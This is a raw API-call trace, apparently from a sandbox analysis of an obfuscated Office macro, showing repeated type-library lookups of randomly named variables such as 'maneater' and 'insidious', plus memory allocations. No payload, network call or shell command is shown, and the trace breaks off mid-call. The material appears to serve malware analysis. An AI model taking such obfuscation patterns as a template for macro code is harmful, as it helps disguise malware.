[0018.151] IUnknown:AddRef (This=0x6f64030) returned 0x14 [0018.151] ITypeLib:RemoteIsName (in: This=0x6f64030, szNameBuf="cubitiere", lHashVal=0x10d06a, pfName=0x2638a8, pBstrLibName=0x263750 | out: pfName=0x2638a8*=0, pBstrLibName=0x263750) returned 0x0 [0018.151] IUnknown:Release (This=0x6f64030) returned 0x13 [0018.151] IUnknown:AddRef (This=0x72d9dd0) returned 0xd [0018.151] ITypeLib:RemoteIsName (in: This=0x72d9dd0, szNameBuf="cubitiere", lHashVal=0x10d06a, pfName=0x2638a8, pBstrLibName=0x263750 | out: pfName=0x2638a8*=0, pBstrLibName=0x263750) returned 0x0 [0018.151] IUnknown:Release (This=0x72d9dd0) returned 0xc [0018.151] IUnknown:AddRef (This=0x7479720) returned 0x6 [0018.151] ITypeLib:RemoteIsName (in: This=0x7479720, szNameBuf="cubitiere", lHashVal=0x10d06a, pfName=0x2638a8, pBstrLibName=0x263750 | out: pfName=0x2638a8*=0, pBstrLibName=0x263750) returned 0x0 [0018.151] IUnknown:Release (This=0x7479720) returned 0x5 [0018.152] IUnknown:Release (This=0x6fae300) returned 0x2 [0018.152] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="cubitiere") returned 0x10d06a [0018.152] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="_B_var_cubitiere") returned 0x30d9af [0018.152] IUnknown:AddRef (This=0x72d9b00) returned 0xb [0018.152] IUnknown:Release (This=0x72d9b00) returned 0xa [0018.152] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xbee0000 [0018.153] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4b11422, cbMultiByte=6, lpWideCharStr=0x263570, cchWideChar=5 | out: lpWideCharStr="Name") returned 0 [0018.153] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="bulb") returned 0x101958 [0018.153] strcpy_s (in: _Dst=0x2638f0, _DstSize=0x5, _Src="bulb" | out: _Dst="bulb") returned 0x0 [0018.153] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2638f0, cbMultiByte=5, lpWideCharStr=0x263750, cchWideChar=5 | out: lpWideCharStr="bulb") returned 5 [0018.153] IUnknown:AddRef (This=0x72d9b00) returned 0xb [0018.153] ITypeLib:RemoteIsName (in: This=0x72d9b00, szNameBuf="bulb", lHashVal=0x101958, pfName=0x2638a8, pBstrLibName=0x263750 | out: pfName=0x2638a8*=0, pBstrLibName=0x263750) returned 0x0 [0018.153] IUnknown:Release (This=0x72d9b00) returned 0xa [0018.153] IUnknown:AddRef (This=0x6f64030) returned 0x14 [0018.153] ITypeLib:RemoteIsName (in: This=0x6f64030, szNameBuf="bulb", lHashVal=0x101958, pfName=0x2638a8, pBstrLibName=0x263750 | out: pfName=0x2638a8*=0, pBstrLibName=0x263750) returned 0x0 [0018.153] IUnknown:Release (This=0x6f64030) returned 0x13 [0018.153] IUnknown:AddRef (This=0x72d9dd0) returned 0xd [0018.153] ITypeLib:RemoteIsName (in: This=0x72d9dd0, szNameBuf="bulb", lHashVal=0x101958, pfName=0x2638a8, pBstrLibName=0x263750 | out: pfName=0x2638a8*=0, pBstrLibName=0x263750) returned 0x0 [0018.153] IUnknown:Release (This=0x72d9dd0) returned 0xc [0018.153] IUnknown:AddRef (This=0x7479720) returned 0x6 [0018.153] ITypeLib:RemoteIsName (in: This=0x7479720, szNameBuf="bulb", lHashVal=0x101958, pfName=0x2638a8, pBstrLibName=0x263750 | out: pfName=0x2638a8*=0, pBstrLibName=0x263750) returned 0x0 [0018.153] IUnknown:Release (This=0x7479720) returned 0x5 [0018.153] VirtualAlloc (lpAddress=0x0, dwSize=0x3000, flAllocationType=0x1000, flProtect=0x4) returned 0xbef0000 [0018.154] IUnknown:Release (This=0x6fae300) returned 0x2 [0018.154] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="bulb") returned 0x101958 [0018.154] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="_B_var_bulb") returned 0x307ec4 [0018.154] IUnknown:AddRef (This=0x72d9b00) returned 0xb [0018.154] IUnknown:Release (This=0x72d9b00) returned 0xa [0018.155] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="maneater") returned 0x1051e6 [0018.155] strcpy_s (in: _Dst=0x2638f0, _DstSize=0x9, _Src="maneater" | out: _Dst="maneater") returned 0x0 [0018.155] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2638f0, cbMultiByte=9, lpWideCharStr=0x263750, cchWideChar=9 | out: lpWideCharStr="maneater") returned 9 [0018.155] IUnknown:AddRef (This=0x72d9b00) returned 0xb [0018.155] ITypeLib:RemoteIsName (in: This=0x72d9b00, szNameBuf="maneater", lHashVal=0x1051e6, pfName=0x2638a8, pBstrLibName=0x263750 | out: pfName=0x2638a8*=0, pBstrLibName=0x263750) returned 0x0 [0018.155] IUnknown:Release (This=0x72d9b00) returned 0xa [0018.155] IUnknown:AddRef (This=0x6f64030) returned 0x14 [0018.155] ITypeLib:RemoteIsName (in: This=0x6f64030, szNameBuf="maneater", lHashVal=0x1051e6, pfName=0x2638a8, pBstrLibName=0x263750 | out: pfName=0x2638a8*=0, pBstrLibName=0x263750) returned 0x0 [0018.155] IUnknown:Release (This=0x6f64030) returned 0x13 [0018.155] IUnknown:AddRef (This=0x72d9dd0) returned 0xd [0018.155] ITypeLib:RemoteIsName (in: This=0x72d9dd0, szNameBuf="maneater", lHashVal=0x1051e6, pfName=0x2638a8, pBstrLibName=0x263750 | out: pfName=0x2638a8*=0, pBstrLibName=0x263750) returned 0x0 [0018.155] IUnknown:Release (This=0x72d9dd0) returned 0xc [0018.155] IUnknown:AddRef (This=0x7479720) returned 0x6 [0018.155] ITypeLib:RemoteIsName (in: This=0x7479720, szNameBuf="maneater", lHashVal=0x1051e6, pfName=0x2638a8, pBstrLibName=0x263750 | out: pfName=0x2638a8*=0, pBstrLibName=0x263750) returned 0x0 [0018.155] IUnknown:Release (This=0x7479720) returned 0x5 [0018.155] IUnknown:Release (This=0x6fae300) returned 0x2 [0018.155] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="maneater") returned 0x1051e6 [0018.155] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="_B_var_maneater") returned 0x30296f [0018.155] IUnknown:AddRef (This=0x72d9b00) returned 0xb [0018.155] IUnknown:Release (This=0x72d9b00) returned 0xa [0018.155] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Right") returned 0x10150d [0018.155] strcpy_s (in: _Dst=0x2638f0, _DstSize=0x6, _Src="Right" | out: _Dst="Right") returned 0x0 [0018.155] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2638f0, cbMultiByte=6, lpWideCharStr=0x263750, cchWideChar=6 | out: lpWideCharStr="Right") returned 6 [0018.155] IUnknown:AddRef (This=0x72d9b00) returned 0xb [0018.155] ITypeLib:RemoteIsName (in: This=0x72d9b00, szNameBuf="Right", lHashVal=0x10150d, pfName=0x2638a8, pBstrLibName=0x263750 | out: pfName=0x2638a8*=1, pBstrLibName=0x263750) returned 0x0 [0018.155] IUnknown:Release (This=0x72d9b00) returned 0xa [0018.155] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Right", cchWideChar=-1, lpMultiByteStr=0x2638f0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Right", lpUsedDefaultChar=0x0) returned 6 [0018.155] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Right") returned 0x10150d [0018.155] IUnknown:Release (This=0x6fae300) returned 0x2 [0018.156] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Right") returned 0x10150d [0018.156] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="_B_var_Right") returned 0x30d939 [0018.156] IUnknown:AddRef (This=0x72d9b00) returned 0xb [0018.156] IUnknown:Release (This=0x72d9b00) returned 0xa [0018.156] IUnknown:QueryInterface (in: This=0x748cc30, riid=0x7fef41c67b0*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x263b08 | out: ppvObject=0x263b08*=0x0) returned 0x80004002 [0018.156] IUnknown:QueryInterface (in: This=0x748cc30, riid=0x7fef41c67b0*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x263b80 | out: ppvObject=0x263b80*=0x0) returned 0x80004002 [0018.156] IUnknown:QueryInterface (in: This=0x748cc30, riid=0x7fef41cf088*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x263af0 | out: ppvObject=0x263af0*=0x0) returned 0x80004002 [0018.156] IUnknown:QueryInterface (in: This=0x748cc30, riid=0x7fef41cf098*(Data1=0xcacc1e88, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x263b70 | out: ppvObject=0x263b70*=0x0) returned 0x80004002 [0018.156] ITypeInfo:RemoteGetTypeAttr (in: This=0x748cc30, ppTypeAttr=0x263af8, pDummy=0x10 | out: ppTypeAttr=0x263af8, pDummy=0x10) returned 0x0 [0018.156] ITypeInfo:LocalReleaseTypeAttr (This=0x748cc30) returned 0x0 [0018.156] IUnknown:AddRef (This=0x748cc30) returned 0x3 [0018.156] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="unassisted") returned 0x10c6ec [0018.156] strcpy_s (in: _Dst=0x2638f0, _DstSize=0xb, _Src="unassisted" | out: _Dst="unassisted") returned 0x0 [0018.156] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2638f0, cbMultiByte=11, lpWideCharStr=0x263750, cchWideChar=11 | out: lpWideCharStr="unassisted") returned 11 [0018.157] IUnknown:AddRef (This=0x72d9b00) returned 0xd [0018.157] ITypeLib:RemoteIsName (in: This=0x72d9b00, szNameBuf="unassisted", lHashVal=0x10c6ec, pfName=0x2638a8, pBstrLibName=0x263750 | out: pfName=0x2638a8*=0, pBstrLibName=0x263750) returned 0x0 [0018.157] IUnknown:Release (This=0x72d9b00) returned 0xc [0018.157] IUnknown:AddRef (This=0x6f64030) returned 0x14 [0018.157] ITypeLib:RemoteIsName (in: This=0x6f64030, szNameBuf="unassisted", lHashVal=0x10c6ec, pfName=0x2638a8, pBstrLibName=0x263750 | out: pfName=0x2638a8*=0, pBstrLibName=0x263750) returned 0x0 [0018.157] IUnknown:Release (This=0x6f64030) returned 0x13 [0018.157] IUnknown:AddRef (This=0x72d9dd0) returned 0xd [0018.157] ITypeLib:RemoteIsName (in: This=0x72d9dd0, szNameBuf="unassisted", lHashVal=0x10c6ec, pfName=0x2638a8, pBstrLibName=0x263750 | out: pfName=0x2638a8*=0, pBstrLibName=0x263750) returned 0x0 [0018.157] IUnknown:Release (This=0x72d9dd0) returned 0xc [0018.157] IUnknown:AddRef (This=0x7479720) returned 0x6 [0018.157] ITypeLib:RemoteIsName (in: This=0x7479720, szNameBuf="unassisted", lHashVal=0x10c6ec, pfName=0x2638a8, pBstrLibName=0x263750 | out: pfName=0x2638a8*=0, pBstrLibName=0x263750) returned 0x0 [0018.157] IUnknown:Release (This=0x7479720) returned 0x5 [0018.157] IUnknown:Release (This=0x6fae300) returned 0x2 [0018.157] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="unassisted") returned 0x10c6ec [0018.157] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="_B_var_unassisted") returned 0x303517 [0018.157] IUnknown:AddRef (This=0x72d9b00) returned 0xd [0018.157] IUnknown:Release (This=0x72d9b00) returned 0xc [0018.157] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="ale") returned 0x107420 [0018.157] strcpy_s (in: _Dst=0x2638f0, _DstSize=0x4, _Src="ale" | out: _Dst="ale") returned 0x0 [0018.157] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2638f0, cbMultiByte=4, lpWideCharStr=0x263750, cchWideChar=4 | out: lpWideCharStr="ale") returned 4 [0018.157] IUnknown:AddRef (This=0x72d9b00) returned 0xd [0018.157] ITypeLib:RemoteIsName (in: This=0x72d9b00, szNameBuf="ale", lHashVal=0x107420, pfName=0x2638a8, pBstrLibName=0x263750 | out: pfName=0x2638a8*=0, pBstrLibName=0x263750) returned 0x0 [0018.157] IUnknown:Release (This=0x72d9b00) returned 0xc [0018.157] IUnknown:AddRef (This=0x6f64030) returned 0x14 [0018.157] ITypeLib:RemoteIsName (in: This=0x6f64030, szNameBuf="ale", lHashVal=0x107420, pfName=0x2638a8, pBstrLibName=0x263750 | out: pfName=0x2638a8*=0, pBstrLibName=0x263750) returned 0x0 [0018.157] IUnknown:Release (This=0x6f64030) returned 0x13 [0018.157] IUnknown:AddRef (This=0x72d9dd0) returned 0xd [0018.157] ITypeLib:RemoteIsName (in: This=0x72d9dd0, szNameBuf="ale", lHashVal=0x107420, pfName=0x2638a8, pBstrLibName=0x263750 | out: pfName=0x2638a8*=0, pBstrLibName=0x263750) returned 0x0 [0018.157] IUnknown:Release (This=0x72d9dd0) returned 0xc [0018.157] IUnknown:AddRef (This=0x7479720) returned 0x6 [0018.157] ITypeLib:RemoteIsName (in: This=0x7479720, szNameBuf="ale", lHashVal=0x107420, pfName=0x2638a8, pBstrLibName=0x263750 | out: pfName=0x2638a8*=0, pBstrLibName=0x263750) returned 0x0 [0018.157] IUnknown:Release (This=0x7479720) returned 0x5 [0018.157] IUnknown:Release (This=0x6fae300) returned 0x2 [0018.158] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="0H5b6ce3b5", cchWideChar=11, lpMultiByteStr=0x263830, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0H5b6ce3b5", lpUsedDefaultChar=0x0) returned 11 [0018.158] GetLocalTime (in: lpSystemTime=0x2638e0 | out: lpSystemTime=0x2638e0*(wYear=0x7e1, wMonth=0x8, wDayOfWeek=0x2, wDay=0x16, wHour=0x1, wMinute=0x22, wSecond=0x1, wMilliseconds=0xa3)) [0018.158] _ultow_s (in: _Value=0x5b6e3d09, _Buffer=0x74a8fa4, _BufferCount=0x9, _Radix=16 | out: _Buffer="5b6e3d09") returned 0x0 [0018.158] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="065b6e3d09", cchWideChar=11, lpMultiByteStr=0x263860, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="065b6e3d09", lpUsedDefaultChar=0x0) returned 11 [0018.158] _mbscpy_s (in: _Dst=0x7fef4203fb0, _DstSizeInBytes=0x3ff, _Src=0x721f548 | out: _Dst=0x7fef4203fb0) returned 0x0 [0018.159] _mbscpy_s (in: _Dst=0x7fef4203fb0, _DstSizeInBytes=0x3ff, _Src=0x721f598 | out: _Dst=0x7fef4203fb0) returned 0x0 [0018.159] _mbscpy_s (in: _Dst=0x7fef4203fb0, _DstSizeInBytes=0x3ff, _Src=0x721f638 | out: _Dst=0x7fef4203fb0) returned 0x0 [0018.159] _mbscpy_s (in: _Dst=0x7fef4203fb0, _DstSizeInBytes=0x3ff, _Src=0x721f6a0 | out: _Dst=0x7fef4203fb0) returned 0x0 [0018.159] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="cheerless") returned 0x1070ef [0018.160] strcpy_s (in: _Dst=0x2638f0, _DstSize=0xa, _Src="cheerless" | out: _Dst="cheerless") returned 0x0 [0018.160] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2638f0, cbMultiByte=10, lpWideCharStr=0x263750, cchWideChar=10 | out: lpWideCharStr="cheerless") returned 10 [0018.160] IUnknown:AddRef (This=0x72d9b00) returned 0xd [0018.160] ITypeLib:RemoteIsName (in: This=0x72d9b00, szNameBuf="cheerless", lHashVal=0x1070ef, pfName=0x2638a8, pBstrLibName=0x263750 | out: pfName=0x2638a8*=0, pBstrLibName=0x263750) returned 0x0 [0018.160] IUnknown:Release (This=0x72d9b00) returned 0xc [0018.160] IUnknown:AddRef (This=0x6f64030) returned 0x14 [0018.160] ITypeLib:RemoteIsName (in: This=0x6f64030, szNameBuf="cheerless", lHashVal=0x1070ef, pfName=0x2638a8, pBstrLibName=0x263750 | out: pfName=0x2638a8*=0, pBstrLibName=0x263750) returned 0x0 [0018.160] IUnknown:Release (This=0x6f64030) returned 0x13 [0018.160] IUnknown:AddRef (This=0x72d9dd0) returned 0xd [0018.160] ITypeLib:RemoteIsName (in: This=0x72d9dd0, szNameBuf="cheerless", lHashVal=0x1070ef, pfName=0x2638a8, pBstrLibName=0x263750 | out: pfName=0x2638a8*=0, pBstrLibName=0x263750) returned 0x0 [0018.160] IUnknown:Release (This=0x72d9dd0) returned 0xc [0018.160] IUnknown:AddRef (This=0x7479720) returned 0x6 [0018.160] ITypeLib:RemoteIsName (in: This=0x7479720, szNameBuf="cheerless", lHashVal=0x1070ef, pfName=0x2638a8, pBstrLibName=0x263750 | out: pfName=0x2638a8*=0, pBstrLibName=0x263750) returned 0x0 [0018.160] IUnknown:Release (This=0x7479720) returned 0x5 [0018.160] IUnknown:Release (This=0x6fae300) returned 0x2 [0018.160] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="cheerless") returned 0x1070ef [0018.160] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="_B_var_cheerless") returned 0x306ab3 [0018.160] IUnknown:AddRef (This=0x72d9b00) returned 0xd [0018.160] IUnknown:Release (This=0x72d9b00) returned 0xc [0018.160] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="extenuation") returned 0x10dc56 [0018.160] strcpy_s (in: _Dst=0x2638f0, _DstSize=0xc, _Src="extenuation" | out: _Dst="extenuation") returned 0x0 [0018.160] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2638f0, cbMultiByte=12, lpWideCharStr=0x263750, cchWideChar=12 | out: lpWideCharStr="extenuation") returned 12 [0018.160] IUnknown:AddRef (This=0x72d9b00) returned 0xd [0018.160] ITypeLib:RemoteIsName (in: This=0x72d9b00, szNameBuf="extenuation", lHashVal=0x10dc56, pfName=0x2638a8, pBstrLibName=0x263750 | out: pfName=0x2638a8*=0, pBstrLibName=0x263750) returned 0x0 [0018.160] IUnknown:Release (This=0x72d9b00) returned 0xc [0018.160] IUnknown:AddRef (This=0x6f64030) returned 0x14 [0018.160] ITypeLib:RemoteIsName (in: This=0x6f64030, szNameBuf="extenuation", lHashVal=0x10dc56, pfName=0x2638a8, pBstrLibName=0x263750 | out: pfName=0x2638a8*=0, pBstrLibName=0x263750) returned 0x0 [0018.160] IUnknown:Release (This=0x6f64030) returned 0x13 [0018.160] IUnknown:AddRef (This=0x72d9dd0) returned 0xd [0018.160] ITypeLib:RemoteIsName (in: This=0x72d9dd0, szNameBuf="extenuation", lHashVal=0x10dc56, pfName=0x2638a8, pBstrLibName=0x263750 | out: pfName=0x2638a8*=0, pBstrLibName=0x263750) returned 0x0 [0018.160] IUnknown:Release (This=0x72d9dd0) returned 0xc [0018.160] IUnknown:AddRef (This=0x7479720) returned 0x6 [0018.160] ITypeLib:RemoteIsName (in: This=0x7479720, szNameBuf="extenuation", lHashVal=0x10dc56, pfName=0x2638a8, pBstrLibName=0x263750 | out: pfName=0x2638a8*=0, pBstrLibName=0x263750) returned 0x0 [0018.161] IUnknown:Release (This=0x7479720) returned 0x5 [0018.161] IUnknown:Release (This=0x6fae300) returned 0x2 [0018.161] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="extenuation") returned 0x10dc56 [0018.161] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="_B_var_extenuation") returned 0x30cdb8 [0018.161] IUnknown:AddRef (This=0x72d9b00) returned 0xd [0018.161] IUnknown:Release (This=0x72d9b00) returned 0xc [0018.161] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="insidious") returned 0x104465 [0018.161] strcpy_s (in: _Dst=0x2638f0, _DstSize=0xa, _Src="insidious" | out: _Dst="insidious") returned 0x0 [0018.161] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2638f0, cbMultiByte=10, lpWideCharStr=0x263750, cchWideChar=10 | out: lpWideCharStr="insidious") returned 10 [0018.161] IUnknown:AddRef (This=0x72d9b00) returned 0xd [0018.161] ITypeLib:RemoteIsName (in: This=0x72d9b00, szNameBuf="insidious", lHashVal=0x104465, pfName=0x2638a8, pBstrLibName=0x263750 | out: pfName=0x2638a8*=0, pBstrLibName=0x263750) returned 0x0 [0018.161] IUnknown:Release (This=0x72d9b00) returned 0xc [0018.161] IUnknown:AddRef (This=0x6f64030) returned 0x14 [0018.161] ITypeLib:RemoteIsName (in: This=0x6f64030, szNameBuf="insidious", lHashVal=0x104465, pfName=0x2638a8, pBstrLibName=0x263750 | out: pfName=0x2638a8*=0, pBstrLibName=0x263750) returned 0x0 [0018.161] IUnknown:Release (This=0x6f64030) returned 0x13 [0018.161] IUnknown:AddRef (This=0x72d9dd0) returned 0xd [0018.161] ITypeLib:RemoteIsName (in: This=0x72d9dd0, szNameBuf="insidious", lHashVal=0x104465, pfName=0x2638a8, pBstrLibName=0x263750 | out: pfName=0x2638a8*=0, pBstrLibName=0x263750) returned 0x0 [0018.161] IUnknown:Release (This=0x72d9dd0) returned 0xc [0018.161] IUnknown:AddRef (This=0x7479720) returned 0x6 [0018.161] ITypeLib:RemoteIsName (in: This=0x7479720, szNameBuf="insidious", lHashVal=0x104465, pfName=0x2638a8, pBstrLibName=0x263750 | out: pfName=0x2638a8*=0, pBstrLibName=0x263750) returned 0x0 [0018.161] IUnknown:Release (This=0x7479720) returned 0x5 [0018.161] IUnknown:Release (This=0x6fae300) returned 0x2 [0018.161] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="insidious") returned 0x104465 [0018.162] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="_B_var_insidious") returned 0x303e29 [0018.162] IUnknown:AddRef (This=0x72d9b00) returned 0xd [0018.162] IUnknown:Release (This=0x72d9b00) returned 0xc [0018.162] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="ember") returned 0x10a7e5 [0018.162] strcpy_s (in: _Dst=0x2638f0, _DstSize=0x6, _Src="ember" | out: _Dst="ember") returned 0x0 [0018.162] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2638f0, cbMultiByte=6, lpWideCharStr=0x263750, cchWideChar=6 | out: lpWideCharStr="ember") returned 6 [0018.162] IUnknown:AddRef (This=0x72d9b00) returned 0xd [0018.162] ITypeLib:RemoteIsName (in: This=0x72d9b00, szNameBuf="ember", lHashVal=0x10a7e5, pfName=0x2638a8, pBstrLibName=0x263750 | out: pfName=0x2638a8*=0, pBstrLibName=0x263750) returned 0x0 [0018.162] IUnknown:Release (This=0x72d9b00) returned 0xc [0018.162] IUnknown:AddRef (This=0x6f64030) returned 0x14 [0018.162] ITypeLib:RemoteIsName (in: This=0x6f64030, szNameBuf="ember", lHashVal=0x10a7e5, pfName=0x2638a8, pBstrLibName=0x263750 | out: pfName=0x2638a8*=0, pBstrLibName=0x263750) returned 0x0 [0018.162] IUnknown:Release (This=0x6f64030) returned 0x13 [0018.162] IUnknown:AddRef (This=0x72d9dd0) returned 0xd [0018.162] ITypeLib:RemoteIsName (in: This=0x72d9dd0, szNameBuf="ember", lHashVal=0x10a7e5, pfName=0x2638a8, pBstrLibName=0x263750 | out: pfName=0x2638a8*=0, pBstrLibName=0x263750) returned 0x0 [0018.162] IUnknown:Release (This=0x72d9dd0) returned 0xc [0018.162] IUnknown:AddRef (This=0x7479720) returned 0x6 [0018.162] ITypeLib:RemoteIsName (in: This=0x7479720, szNameBuf="ember", lHashVal=0x10a7e5, pfName=0x2638a8, pBstrLibName=0x263750 | out: pfName=0x2638a8*=0, pBstrLibName=0x263750) returned 0x0 [0018.162] IUnknown:Release (This=0x7479720) returned 0x5 [0018.162] IUnknown:Release (This=0x6fae300) returned 0x2 [0018.162] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="ember") returned 0x10a7e5 [0018.162] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="_B_var_ember") returned 0x306bd2 [0018.162] IUnknown:AddRef (This=0x72d9b00) returned 0xd [0018.162] IUnknown:Release (This=0x72d9b00) returned 0xc [0018.163] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x754fa44, cbMultiByte=4, lpWideCharStr=0xbee2404, cchWideChar=10 | out: lpWideCharStr="scam") returned 4 [0018.163] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="mangle") returned 0x10922e [0018.163] strcpy_s (in: _Dst=0x2638f0, _DstSize=0x7, _Src="mangle" | out: _Dst="mangle") returned 0x0 [0018.163] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2638f0, cbMultiByte=7, lpWideCharStr=0x263750, cchWideChar=7 | out: lpWideCharStr="mangle") returned 7 [0018.163] IUnknown:AddRef (This=0x72d9b00) returned 0xd [0018.163] ITypeLib:RemoteIsName (in: This=0x72d9b00, szNameBuf="mangle", lHashVal=0x10922e, pfName=0x2638a8, pBstrLibName=0x263750 | out: pfName=0x2638a8*=0, pBstrLibName=0x263750) returned 0x0 [0018.163] IUnknown:Release (This=0x72d9b00) returned 0xc [0018.163] IUnknown:AddRef (This=0x6f64030) returned 0x14 [0018.163] ITypeLib:RemoteIsName (in: This=0x6f64030, szNameBuf="mangle", lHashVal=0x10922e, pfName=0x2638a8, pBstrLibName=0x263750 | out: pfName=0x2638a8*=0, pBstrLibName=0x263750) returned 0x0 [0018.163] IUnknown:Release (This=0x6f64030) returned 0x13 [0018.163] IUnknown:AddRef (This=0x72d9dd0) returned 0xd [0018.163] ITypeLib:RemoteIsName (in: This=0x72d9dd0, szNameBuf="mangle", lHashVal=0x10922e, pfName=0x2638a8, pBstrLibName=0x263750 | out: pfName=0x2638a8*=0, pBstrLibName=0x263750) returned 0x0 [0018.163] IUnknown:Release (This=0x72d9dd0) returned 0xc [0018.163] IUnknown:AddRef (This=0x7479720) returned 0x6 [0018.163] ITypeLib:RemoteIsName (in: This=0x7479720, szNameBuf="mangle", lHashVal=0x10922e, pfName=0x2638a8, pBstrLibName=0x263750 | out: pfName=0x2638a8*=0, pBstrLibName=0x263750) returned 0x0 [0018.163] IUnknown:Release (This=0x7479720) returned 0x5 [0018.163] IUnknown:Release (This=0x6fae300) returned 0x2 [0018.163] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="mangle") returned 0x10922e [0018.163] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="_B_var_mangle") returned 0x300c98 [0018.163] IUnknown:AddRef (This=0x72d9b00) returned 0xd [0018.163] IUnknown:Release (This=0x72d9b00) returned 0xc [0018.163] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x754fa54, cbMultiByte=10, lpWideCharStr=0xbee2642, cchWideChar=22 | out: lpWideCharStr="implicated") returned 10 [0018.163] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="prosy") returned 0x10109e [0018.163] strcpy_s (in: _Dst=0x2638f0, _DstSize=0x6, _Src="prosy" | out: _Dst="prosy") returned 0x0 [0018.163] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2638f0, cbMultiByte=6, lpWideCharStr=0x263750, cchWideChar=6 | out: lpWideCharStr="prosy") returned 6 [0018.163] IUnknown:AddRef (This=0x72d9b00) returned 0xd [0018.163] ITypeLib:RemoteIsName (in: This=0x72d9b00, szNameBuf="prosy", lHashVal=0x10109e, pfName=0x2638a8, pBstrLibName=0x263750 | out: pfName=0x2638a8*=0, pBstrLibName=0x263750) returned 0x0 [0018.163] IUnknown:Release (This=0x72d9b00) returned 0xc [0018.163] IUnknown:AddRef (This=0x6f64030) returned 0x14 [0018.163] ITypeLib:RemoteIsName (in: This=0x6f64030, szNameBuf="prosy", lHashVal=0x10109e, pfName=0x2638a8, pBstrLibName=0x263750 | out: pfName=0x2638a8*=0, pBstrLibName=0x263750) returned 0x0 [0018.164] IUnknown:Release (This=0x6f64030) returned 0x13 [0018.164] IUnknown:AddRef (This=0x72d9dd0) returned 0xd [0018.164] ITypeLib:RemoteIsName (in: This=0x72d9dd0, szNameBuf="prosy", lHashVal=0x10109e, pfName=0x2638a8, pBstrLibName=0x263750 | out: pfName=0x2638a8*=0, pBstrLibName=0x263750) returned 0x0 [0018.164] IUnknown:Release (This=0x72d9dd0) returned 0xc [0018.164] IUnknown:AddRef (This=0x7479720) returned 0x6 [0018.164] ITypeLib:RemoteIsName (in: This=0x7479720, szNameBuf="prosy", lHashVal=0x10109e, pfName=0x2638a8, pBstrLibName=0x263750 | out: pfName=0x2638a8*=0, pBstrLibName=0x263750) returned 0x0 [0018.164] IUnknown:Release (This=0x7479720) returned 0x5 [0018.164] IUnknown:Release (This=0x6fae300) returned 0x2 [0018.164] LHashValOfNameSysA 